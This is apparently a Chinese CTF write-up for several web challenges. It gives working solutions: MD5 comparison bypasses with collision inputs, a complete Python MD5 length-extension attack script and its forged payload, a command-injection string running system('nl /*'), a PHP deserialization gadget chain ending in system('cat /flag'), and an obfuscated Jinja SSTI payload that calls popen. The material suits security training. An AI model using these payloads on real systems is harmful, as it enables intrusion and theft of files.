所以你说你懂 MD5?

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

前面简单

apple[]=1&banana%5B%5D=2&appple=QNKCDZO&bananana=QLTHNDT&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

会话随机数生成

if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

random_bytes(16)的作用：这个函数生成16字节的随机二进制数据，然后3次调用

16*3*2=96

随机数 MD5 公开

$random = $_SESSION['random'];
echo md5($random);

管理员身份校验

$name = $_POST['name'] ?? 'user';
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

用户名必须以 admin 结尾(5 字符)

终极哈希校验

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

MD5 长度拓展攻击脚本

from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

    def __init__(self):
        self.A, self.B, self.C, self.D = \
            (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial values
        self.r: list[int] = \
            [7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \
            [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift values
        self.k: list[int] = \
            [floor(abs(sin(i + 1)) * pow(2, 32))
             for i in range(64)]  # constants

    def _lrot(self, x: int, n: int) -> int:
        # left rotate
        return (x << n) | (x >> 32 - n)

    def update(self, chunk: bytes) -> None:
        # update the hash for a chunk of data (64 bytes)
        w = list(unpack('<'+'I'*16, chunk))
        a, b, c, d = self.A, self.B, self.C, self.D

        for i in range(64):
            if i < 16:
                f = (b & c) | ((~b) & d)
                flag = i
            elif i < 32:
                f = (b & d) | (c & (~d))
                flag = (5 * i + 1) % 16
            elif i < 48:
                f = (b ^ c ^ d)
                flag = (3 * i + 5) % 16
            else:
                f = c ^ (b | (~d))
                flag = (7 * i) % 16

            tmp = b + \
                self._lrot((a + f + self.k[i] + w[flag])
                           & 0xffffffff, self.r[i])
            a, b, c, d = d, tmp & 0xffffffff, b, c

        self.A = (self.A + a) & 0xffffffff
        self.B = (self.B + b) & 0xffffffff
        self.C = (self.C + c) & 0xffffffff
        self.D = (self.D + d) & 0xffffffff

    def extend(self, msg: bytes) -> None:
        # extend the hash with a new message (padded)
        assert len(msg) % 64 == 0
        for i in range(0, len(msg), 64):
            self.update(msg[i:i + 64])

    def padding(self, msg: bytes) -> bytes:
        # pad the message
        length = pack('<Q', len(msg) * 8)

        msg += b'\x80'
        msg += b'\x00' * ((56 - len(msg)) % 64)
        msg += length

        return msg

    def digest(self) -> bytes:
        # return the hash
        return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
    # (DEBUG function) verify the MD5 implementation
    from hashlib import md5 as md5_hashlib

    def md5_manual(msg: bytes) -> bytes:
        md5 = MD5()
        md5.extend(md5.padding(msg))
        return md5.digest()

    manual_result = md5_manual(test_string).hex()
    hashlib_result = md5_hashlib(test_string).hexdigest()

    assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
           append_str: bytes) -> tuple:
    # MD5 extension attack
    md5 = MD5()

    previous_text = md5.padding(b"*" * message_len)
    current_text = previous_text + append_str

    md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
    md5.extend(md5.padding(current_text)[len(previous_text):])

    return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':

    message_len = int(input("[>] Input known text length: "))
    known_hash = input("[>] Input known hash: ").strip()
    append_text = input("[>] Input append text: ").strip().encode()

    print("[*] Attacking...")

    extend_str, final_hash = attack(message_len, known_hash, append_text)

    from urllib.parse import quote
    from base64 import b64encode

    print("[+] Extend text:", extend_str)
    print("[+] Extend text (URL encoded):", quote(extend_str))
    print("[+] Extend text (Base64):", b64encode(extend_str).decode())
    print("[+] Final hash:", final_hash)

name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=12ca647f02b6935e47285c59435d4e38

A Dark Room

在源码里面

HTTP 是什么呀

喵喵喵

简单RCE

?DT=system('nl /*');

md5绕过欸

强弱比较绕过

ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么，你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

<?php
class re {
    public $chu0;
}

class web {
    public $kw;
    public $dt;
}

class pwn {
    public $dusk = "gods";  // 绕过 `if($this->dusk != "gods")`
    public $over;
}

class Misc {
    public $nothing;
    public $flag;
}

// 构造对象链
$misc = new Misc();
$pwn = new pwn();
$pwn->over = $misc;  // 触发 getflag()

$re = new re();
$re->chu0 = $pwn;    // 触发 __get()

$web = new web();
$web->kw = $re;      // 触发 __toString()

// 序列化
$payload = serialize($web);
echo urlencode($payload);
?>

复读机

是ssti洞

BaseCTF{%print(''['_''_''cla''ss''_''_']|attr('_''_''mr''o''_''_')|attr('_''_''get''item''_''_')(1)|attr('_''_''subc''lasses''_''_')()|attr('_''_''geti''tem''_''_')(137)|attr('_''_''ini''t''_''_')|attr('_''_''glo''bals''_''_')|attr('_''_''get''item''_''_')('po''pen')('cat ${HOME%%root}flag')|attr('read')())%}